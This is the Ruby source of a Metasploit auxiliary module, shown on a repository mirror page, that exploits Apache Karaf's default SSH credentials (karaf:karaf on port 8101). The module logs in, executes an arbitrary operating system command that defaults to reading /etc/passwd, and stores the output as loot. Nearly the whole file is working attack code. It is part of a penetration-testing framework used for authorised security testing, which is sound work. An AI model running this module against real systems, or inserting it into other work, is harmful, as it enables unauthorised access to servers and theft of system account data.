modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb - master - githubmirror/metasploit-framework

modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb
132 строки4 KB
g0t mi1k
Fix typos
19 май 2026, 18:12
19 май 2026, 18:12d7a9964
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Apache Karaf Default Credentials Command Execution",
        'Description' => %q{
          This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
          The 'karaf' user has a known default password, which can be used to login to the
          SSH service, and execute operating system commands from remote.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nicholas Starke <nick@alephvoid.com>'
        ],
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'DisclosureDate' => '2016-02-09',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        },
        'References' => [
          [ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
        ]
      )
    )

    register_options(
      [
        Opt::RPORT(8101),
        OptString.new('USERNAME', [true, 'Username', 'karaf']),
        OptString.new('PASSWORD', [true, 'Password', 'karaf']),
        OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])
      ], self.class
    )

    register_advanced_options(
      [
        Opt::Proxies,
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rport
    datastore['RPORT']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def cmd
    datastore['CMD']
  end

  def do_login(user, pass, ip)
    opts = ssh_client_defaults.merge({
      :auth_methods => ['password'],
      :port => rport,
      :password => pass,
    })

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ssh = ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(ip, user, opts)
      end
      if ssh
        print_good("#{ip}:#{rport} - Login Successful (#{user}:#{pass})")
      else
        print_error "#{ip}:#{rport} - Unknown error"
      end
    rescue OpenSSL::Cipher::CipherError => e
      print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
      return
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{ip}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    ssh
  end

  def run_host(ip)
    print_status("#{ip}:#{rport} - Attempt to login...")
    ssh = do_login(username, password, ip)
    if ssh
      output = ssh.exec!("#{cmd}\n").to_s
      if output
        print_good("#{ip}:#{rport} - Command successfully executed.  Output: #{output}")
        store_loot("apache.karaf.command",
                   "text/plain",
                   ip,
                   output)
        vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
      else
        print_error "#{ip}:#{rport} - Command failed to execute"
      end
    end
  end
end